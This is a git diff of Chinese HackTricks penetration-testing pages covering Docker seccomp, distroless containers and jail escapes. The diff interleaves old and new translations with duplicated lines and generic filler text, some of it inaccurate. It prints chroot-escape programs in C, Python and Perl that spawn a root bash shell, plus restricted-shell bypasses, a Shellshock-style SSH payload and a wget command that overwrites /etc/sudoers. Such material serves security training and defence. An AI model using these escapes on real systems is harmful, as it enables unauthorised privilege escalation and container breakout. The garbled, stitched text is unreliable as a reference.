您可以使用以下命令在docker容器中运行具有**不同seccomp策略**的容器:
|
||||
**Seccomp-bpf** 被 **Docker** 支持,用于有效限制容器中的 **系统调用**,从而减少了攻击面。您可以在 [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) 找到 **默认情况下被阻止的系统调用**,并且可以在这里找到 **默认的 seccomp 配置文件** [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)。\
|
||||
您可以使用以下命令运行一个具有 **不同 seccomp** 策略的 docker 容器:
|
||||
```bash
|
||||
docker run --rm \
|
||||
-it \
|
||||
--security-opt seccomp=/path/to/seccomp/profile.json \
|
||||
hello-world
|
||||
```
|
||||
如果你想禁止容器执行一些像 `uname` 这样的 **系统调用**,你可以从 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) 下载默认配置文件,并从列表中**删除 `uname` 字符串**。\
|
||||
如果你想确保**某个二进制文件在 Docker 容器内无法运行**,你可以使用 strace 列出二进制文件使用的系统调用,然后禁止它们。\
|
||||
以下示例中发现了 `uname` 的**系统调用**:
|
||||
如果您想要**禁止**容器执行某些**系统调用**,如 `uname`,您可以从 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) 下载默认配置文件,并从列表中**移除 `uname` 字符串**。\
|
||||
如果您想确保**某个二进制文件在 docker 容器内不起作用**,您可以使用 strace 列出该二进制文件正在使用的系统调用,然后禁止它们。\
|
||||
在以下示例中,发现了 `uname` 的**系统调用**:
|
||||
```bash
|
||||
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
|
||||
```
|
||||
{% hint style="info" %}
|
||||
如果您只是使用Docker来启动一个应用程序,您可以使用`strace`对其进行**分析**,并**仅允许**它所需的系统调用
|
||||
如果您仅使用 **Docker 来启动应用程序**,您可以使用 **`strace`** 对其进行**分析**,并**仅允许它需要的系统调用**
|
||||
{% endhint %}
|
||||
|
||||
### 示例Seccomp策略
|
||||
### 示例 Seccomp 策略
|
||||
|
||||
为了说明Seccomp功能,让我们创建一个禁用“chmod”系统调用的Seccomp配置文件,如下所示。
|
||||
为了说明 Seccomp 功能,让我们创建一个 Seccomp 配置文件,如下所示,禁用“chmod”系统调用。
|
||||
```json
|
||||
{
|
||||
"defaultAction": "SCMP_ACT_ALLOW",
|
||||
|
@ -147,41 +151,34 @@ docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
|
|||
]
|
||||
}
|
||||
```
|
||||
在上面的配置文件中,我们将默认操作设置为“允许”,并创建了一个黑名单来禁用“chmod”。为了更安全,我们可以将默认操作设置为“丢弃”,并创建一个白名单来选择性地启用系统调用。\
|
||||
下面的输出显示了“chmod”调用返回错误,因为它在seccomp配置文件中被禁用了。
|
||||
在上述配置文件中,我们将默认操作设置为“允许”,并创建了一个黑名单来禁用“chmod”。为了更加安全,我们可以将默认操作设置为拒绝,并创建一个白名单来有选择地启用系统调用。
|
||||
以下输出显示了“chmod”调用返回错误,因为它在seccomp配置文件中被禁用了。
|
||||
```bash
|
||||
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
|
||||
chmod: /etc/hosts: Operation not permitted
|
||||
```
|
||||
以下输出显示了“docker inspect”命令显示的配置文件:
|
||||
|
||||
```plaintext
|
||||
$ docker inspect <container_id> -f '{{.HostConfig.SecurityOpt}}'
|
||||
[
|
||||
"seccomp:unconfined"
|
||||
]
|
||||
```
|
||||
|
||||
The output above indicates that the container is running with the "seccomp:unconfined" security profile.
|
||||
以下输出显示了“docker inspect”显示的配置文件:
|
||||
```json
|
||||
"SecurityOpt": [
|
||||
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
|
||||
],
|
||||
```
|
||||
### 在Docker中禁用seccomp
|
||||
### 在Docker中停用它
|
||||
|
||||
使用标志`--security-opt seccomp=unconfined`启动一个容器。
|
||||
启动容器时使用标志:**`--security-opt seccomp=unconfined`**
|
||||
|
||||
从Kubernetes 1.19开始,**seccomp默认对所有Pod启用**。然而,默认应用于Pod的seccomp配置文件是由容器运行时(例如Docker、containerd)提供的“RuntimeDefault”配置文件。该“RuntimeDefault”配置文件允许大多数系统调用,同时阻止一些被认为是危险的或容器通常不需要的系统调用。
|
||||
从Kubernetes 1.19开始,**所有Pods默认启用seccomp**。然而,应用于Pods的默认seccomp配置文件是"**RuntimeDefault**"配置文件,该配置文件是由**容器运行时**提供的(例如,Docker, containerd)。"RuntimeDefault"配置文件允许大多数系统调用,同时阻止一些被认为是危险的或通常不被容器所需的调用。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,52 +1,56 @@
|
|||
# 武装化Distroless
|
||||
# 武器化Distroless
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## 什么是Distroless
|
||||
|
||||
Distroless容器是一种**仅包含运行特定应用程序所需的必要依赖项**的容器,不包含任何不必要的软件或工具。这些容器旨在尽可能**轻量**和**安全**,并通过删除任何不必要的组件来**最小化攻击面**。
|
||||
Distroless容器是一种**只包含运行特定应用程序所需依赖的容器**,不包含任何不必要的软件或工具。这些容器旨在尽可能地**轻量级**和**安全**,并通过移除任何不必要的组件来**最小化攻击面**。
|
||||
|
||||
Distroless容器通常用于**安全性和可靠性至关重要的生产环境**。
|
||||
|
||||
一些**distroless容器**的**示例**包括:
|
||||
一些**Distroless容器的例子**包括:
|
||||
|
||||
* 由**Google**提供:[https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
|
||||
* 由**Chainguard**提供:[https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
|
||||
|
||||
## 武装化Distroless
|
||||
## 武器化Distroless
|
||||
|
||||
武装化Distroless容器的目标是能够在**distroless**的限制下(系统中缺少常见二进制文件)以及容器中常见的保护措施(如`/dev/shm`中的只读或不可执行)中执行任意二进制文件和有效载荷。
|
||||
武器化Distroless容器的目标是能够**执行任意二进制文件和有效载荷,即使存在Distroless的限制**(系统中缺少常见二进制文件)以及通常在容器中发现的保护措施,如`/dev/shm`的**只读**或**不执行**。
|
||||
|
||||
### 通过内存
|
||||
|
||||
即将在2023年的某个时间点到来...
|
||||
将在2023年的某个时候到来...
|
||||
|
||||
### 通过现有的二进制文件
|
||||
### 通过现有二进制文件
|
||||
|
||||
#### openssl
|
||||
|
||||
在[**这篇文章**](https://www.form3.tech/engineering/content/exploiting-distroless-images)中,解释了这些容器中经常发现二进制文件**`openssl`**的原因可能是因为该软件需要在容器内运行。
|
||||
****[**在这篇文章中,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) 解释了为什么在这些容器中经常发现**`openssl`**二进制文件,可能是因为它**需要**由即将在容器内运行的软件。
|
||||
|
||||
滥用**`openssl`**二进制文件可以执行任意操作。
|
||||
滥用**`openssl`**二进制文件可以**执行任意操作**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,39 +1,41 @@
|
|||
# 逃离监狱
|
||||
# 逃离监狱环境
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## **GTFOBins**
|
||||
|
||||
**在** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **中搜索是否可以使用 "Shell" 属性执行任何二进制文件**
|
||||
**在** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **搜索是否可以执行任何具有"Shell"属性的二进制文件**
|
||||
|
||||
## Chroot 逃逸
|
||||
## Chroot逃逸
|
||||
|
||||
来自 [维基百科](https://en.wikipedia.org/wiki/Chroot#Limitations):chroot 机制**不是为了防止**特权(**root**)**用户**的故意篡改而设计的。在大多数系统上,chroot 上下文不能正确堆叠,具有足够特权的 chroot 程序**可以执行第二个 chroot 以逃脱**。\
|
||||
通常这意味着要逃脱,你需要在 chroot 中成为 root。
|
||||
来自[wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations):Chroot机制**不旨在防御**有意篡改的**特权**(**root**)**用户**。在大多数系统上,chroot上下文不能正确堆叠,具有足够权限的chroot程序**可以执行第二次chroot以逃脱**。\
|
||||
通常这意味着要逃脱,你需要在chroot内部成为root。
|
||||
|
||||
{% hint style="success" %}
|
||||
**工具**[**chw00t**](https://github.com/earthquake/chw00t)被创建用于滥用以下场景并从 `chroot` 中逃脱。
|
||||
**工具** [**chw00t**](https://github.com/earthquake/chw00t) 被创建来滥用以下场景并从`chroot`中逃脱。
|
||||
{% endhint %}
|
||||
|
||||
### Root + CWD
|
||||
|
||||
{% hint style="warning" %}
|
||||
如果你在 chroot 中是**root**,你可以通过创建**另一个 chroot**来**逃脱**。这是因为两个 chroot 不能同时存在(在 Linux 中),所以如果你创建一个文件夹,然后在该新文件夹上**创建一个新的 chroot**,而你自己在外面,那么你现在将**在新的 chroot 外面**,因此你将在文件系统中。
|
||||
如果你在chroot内部是**root**,你**可以逃脱**创建**另一个chroot**。这是因为在Linux中,两个chroots不能共存,所以如果你创建一个文件夹,然后在这个新文件夹上**创建一个新的chroot**,并且**你在它外面**,你现在将会**在新chroot的外面**,因此你将会在文件系统中。
|
||||
|
||||
这是因为通常 chroot **不会将你的工作目录移动到指定的目录**,所以你可以创建一个 chroot,但是在它之外。
|
||||
这是因为通常chroot**不会**将你的工作目录移动到指定的目录,所以你可以创建一个chroot但在外面。
|
||||
{% endhint %}
|
||||
|
||||
通常你在 chroot 监狱中找不到 `chroot` 二进制文件,但是你**可以编译、上传和执行**一个二进制文件:
|
||||
通常你不会在chroot监狱内找到`chroot`二进制文件,但你**可以编译、上传并执行**一个二进制文件:
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -60,7 +62,7 @@ system("/bin/bash");
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Python(Python)</summary>
|
||||
<summary>Python</summary>
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import os
|
||||
|
@ -71,11 +73,11 @@ os.chdir("..")
|
|||
os.chroot(".")
|
||||
os.system("/bin/bash")
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Perl(珀尔语)</summary>
|
||||
<summary>Perl</summary>
|
||||
|
||||
</details>
|
||||
```perl
|
||||
#!/usr/bin/perl
|
||||
mkdir "chroot-dir";
|
||||
|
@ -88,10 +90,10 @@ system("/bin/bash");
|
|||
```
|
||||
</details>
|
||||
|
||||
### Root + Saved fd
|
||||
### Root + 已保存的文件描述符
|
||||
|
||||
{% hint style="warning" %}
|
||||
这与前面的情况类似,但在这种情况下,攻击者将一个文件描述符存储到当前目录,然后在一个新文件夹中创建chroot。最后,由于他在chroot之外有对该FD的访问权限,他可以访问它并逃脱。
|
||||
这种情况与前一个案例类似,但在这种情况下,**攻击者存储了一个指向当前目录的文件描述符**,然后**在新文件夹中创建chroot**。最后,由于他可以**访问**那个**FD**,并且该FD位于chroot**之外**,他访问它并且**逃逸**。
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
@ -122,53 +124,53 @@ chroot(".");
|
|||
### Root + Fork + UDS (Unix Domain Sockets)
|
||||
|
||||
{% hint style="warning" %}
|
||||
FD可以通过Unix域套接字传递,因此:
|
||||
FD 可以通过 Unix Domain Sockets 传递,因此:
|
||||
|
||||
* 创建一个子进程(fork)
|
||||
* 创建UDS,以便父进程和子进程可以通信
|
||||
* 在子进程中的不同文件夹中运行chroot
|
||||
* 在父进程中,创建一个位于新子进程chroot之外的文件夹的FD
|
||||
* 使用UDS将该FD传递给子进程
|
||||
* 子进程chdir到该FD,并且因为它在chroot之外,它将逃离监狱
|
||||
* 创建子进程 (fork)
|
||||
* 创建 UDS 以便父子进程通信
|
||||
* 在子进程中运行 chroot 到不同文件夹
|
||||
* 在父进程中创建一个 FD,指向子进程 chroot 外的文件夹
|
||||
* 通过 UDS 将该 FD 传递给子进程
|
||||
* 子进程 chdir 到该 FD,由于它位于其 chroot 外部,它将逃离监狱
|
||||
{% endhint %}
|
||||
|
||||
###  Root + Mount
|
||||
### Root + Mount
|
||||
|
||||
{% hint style="warning" %}
|
||||
* 将根设备(/)挂载到chroot内部的目录中
|
||||
* 进入该目录的chroot
|
||||
* 将根设备 (/) 挂载到 chroot 内部的目录中
|
||||
* Chroot 进入该目录
|
||||
|
||||
这在Linux中是可能的
|
||||
这在 Linux 中是可能的
|
||||
{% endhint %}
|
||||
|
||||
### Root + /proc
|
||||
|
||||
{% hint style="warning" %}
|
||||
* 将procfs挂载到chroot内部的目录中(如果尚未挂载)
|
||||
* 查找具有不同根目录/当前工作目录条目的pid,例如:/proc/1/root
|
||||
* 进入该条目的chroot
|
||||
* 将 procfs 挂载到 chroot 内部的目录中(如果尚未挂载)
|
||||
* 寻找具有不同 root/cwd 条目的 pid,例如:/proc/1/root
|
||||
* Chroot 进入该条目
|
||||
{% endhint %}
|
||||
|
||||
### Root(?) + Fork
|
||||
|
||||
{% hint style="warning" %}
|
||||
* 创建一个Fork(子进程)并chroot到更深的文件夹中并在其上进行CD
|
||||
* 从父进程中,将子进程所在的文件夹移动到chroot之前的文件夹中
|
||||
* 这个子进程将发现自己在chroot之外
|
||||
* 创建 Fork(子进程)并 chroot 进入文件系统更深层的不同文件夹,并在其中 CD
|
||||
* 从父进程中,将子进程所在的文件夹移动到子进程 chroot 之前的文件夹
|
||||
* 这个子进程将发现自己在 chroot 外部
|
||||
{% endhint %}
|
||||
|
||||
### ptrace
|
||||
|
||||
{% hint style="warning" %}
|
||||
* 以前,用户可以从自己的进程中调试自己的进程...但是现在默认情况下不再可能
|
||||
* 无论如何,如果可能的话,您可以ptrace进入一个进程并在其中执行shellcode([参见此示例](linux-capabilities.md#cap_sys_ptrace))。
|
||||
* 过去用户可以从其自身的进程中调试自己的进程... 但这默认不再可能
|
||||
* 无论如何,如果可能,你可以 ptrace 进入一个进程并在其中执行 shellcode([参见此示例](linux-capabilities.md#cap_sys_ptrace))。
|
||||
{% endhint %}
|
||||
|
||||
## Bash监狱
|
||||
## Bash 监狱
|
||||
|
||||
### 枚举
|
||||
|
||||
获取有关监狱的信息:
|
||||
获取关于监狱的信息:
|
||||
```bash
|
||||
echo $SHELL
|
||||
echo $PATH
|
||||
|
@ -179,88 +181,32 @@ pwd
|
|||
### 修改 PATH
|
||||
|
||||
检查是否可以修改 PATH 环境变量
|
||||
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
|
||||
If you can modify the PATH variable, you can add a directory containing a malicious binary to it. When a user with higher privileges executes a command, the malicious binary will be executed instead, allowing for privilege escalation.
|
||||
|
||||
如果可以修改 PATH 变量,可以将包含恶意二进制文件的目录添加到其中。当具有较高权限的用户执行命令时,将执行恶意二进制文件,从而实现特权提升。
|
||||
|
||||
### Modify LD_LIBRARY_PATH
|
||||
|
||||
Check if you can modify the LD_LIBRARY_PATH env variable
|
||||
```bash
|
||||
echo $PATH #See the path of the executables that you can use
|
||||
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
|
||||
echo /home/* #List directory
|
||||
```
|
||||
### 使用 vim
|
||||
|
||||
Vim is a powerful text editor that can be used to escalate privileges in a limited bash environment. Here's how you can use it:
|
||||
|
||||
1. Open a terminal and type `vim` to start the Vim editor.
|
||||
2. Press `Esc` to enter command mode.
|
||||
3. Type `:set shell=/bin/bash` to set the shell to `/bin/bash`.
|
||||
4. Press `Enter` to execute the command.
|
||||
5. Type `:shell` to open a new shell with escalated privileges.
|
||||
6. Press `Enter` to execute the command.
|
||||
7. You should now have a new shell with higher privileges.
|
||||
|
||||
Remember to use this technique responsibly and only on systems that you have permission to access.
|
||||
```bash
|
||||
:set shell=/bin/sh
|
||||
:shell
|
||||
```
|
||||
### 创建脚本
|
||||
|
||||
检查是否可以创建一个内容为 _/bin/bash_ 的可执行文件。
|
||||
检查是否可以创建一个内容为 _/bin/bash_ 的可执行文件
|
||||
```bash
|
||||
red /bin/bash
|
||||
> w wx/path #Write /bin/bash in a writable and executable path
|
||||
```
|
||||
### 从SSH获取bash
|
||||
### 通过 SSH 获取 bash
|
||||
|
||||
如果您通过SSH访问,可以使用以下技巧执行bash shell:
|
||||
如果您通过 ssh 访问,可以使用这个技巧来执行一个 bash shell:
|
||||
```bash
|
||||
ssh -t user@<IP> bash # Get directly an interactive shell
|
||||
ssh user@<IP> -t "bash --noprofile -i"
|
||||
ssh user@<IP> -t "() { :; }; sh -i "
|
||||
```
|
||||
### 声明
|
||||
|
||||
在进行特权升级之前,我们需要先了解一些基本概念和技术。这些概念和技术将帮助我们理解如何从受限的Bash环境中逃脱,并获取更高的权限。
|
||||
|
||||
#### 1. 什么是特权升级?
|
||||
|
||||
特权升级是指通过利用系统中的漏洞或弱点,从低权限用户提升为高权限用户的过程。这样做可以让我们执行更多的操作和访问受限资源。
|
||||
|
||||
#### 2. 为什么需要特权升级?
|
||||
|
||||
在进行渗透测试或攻击时,我们通常只拥有低权限用户的权限。这限制了我们能够执行的操作和访问的资源。通过进行特权升级,我们可以获取更高的权限,从而扩大我们的攻击面和影响力。
|
||||
|
||||
#### 3. 如何进行特权升级?
|
||||
|
||||
特权升级可以通过多种方式实现,包括但不限于以下几种方法:
|
||||
|
||||
- 利用系统漏洞:通过发现和利用系统中的漏洞,我们可以提升权限。
|
||||
- 利用软件漏洞:某些软件可能存在漏洞,我们可以利用这些漏洞来提升权限。
|
||||
- 利用配置错误:系统或软件的配置错误可能导致权限提升的机会。
|
||||
- 利用弱密码:如果我们能够获取到某个用户的密码,我们可以使用这个密码来提升权限。
|
||||
|
||||
#### 4. 从受限的Bash环境中逃脱
|
||||
|
||||
在某些情况下,我们可能会被限制在一个受限的Bash环境中,无法执行某些命令或访问某些资源。然而,即使在这种受限环境下,我们仍然有一些方法可以逃脱并获取更高的权限。
|
||||
|
||||
以下是一些常见的方法:
|
||||
|
||||
- 利用Bash的特殊字符:Bash中的一些特殊字符可以用于执行命令或绕过限制。
|
||||
- 利用环境变量:通过设置环境变量,我们可以改变Bash的行为并提升权限。
|
||||
- 利用SUID/SGID权限:某些可执行文件具有SUID或SGID权限,我们可以利用这些权限来提升自己的权限。
|
||||
- 利用可写的配置文件:如果我们能够修改某个可写的配置文件,我们可以在其中添加恶意代码来提升权限。
|
||||
|
||||
了解这些基本概念和技术将帮助我们更好地理解特权升级的过程,并在实际操作中更加灵活和高效。在接下来的章节中,我们将深入探讨这些方法,并提供详细的示例和实践技巧。
|
||||
```bash
|
||||
declare -n PATH; export PATH=/bin;bash -i
|
||||
|
||||
|
@ -268,59 +214,49 @@ BASH_CMDS[shell]=/bin/bash;shell -i
|
|||
```
|
||||
### Wget
|
||||
|
||||
您可以覆盖例如sudoers文件
|
||||
你可以覆盖例如sudoers文件
|
||||
```bash
|
||||
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
|
||||
```
|
||||
### 其他技巧
|
||||
|
||||
以下页面包含了关于逃离受限Linux shell的技巧:
|
||||
|
||||
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
|
||||
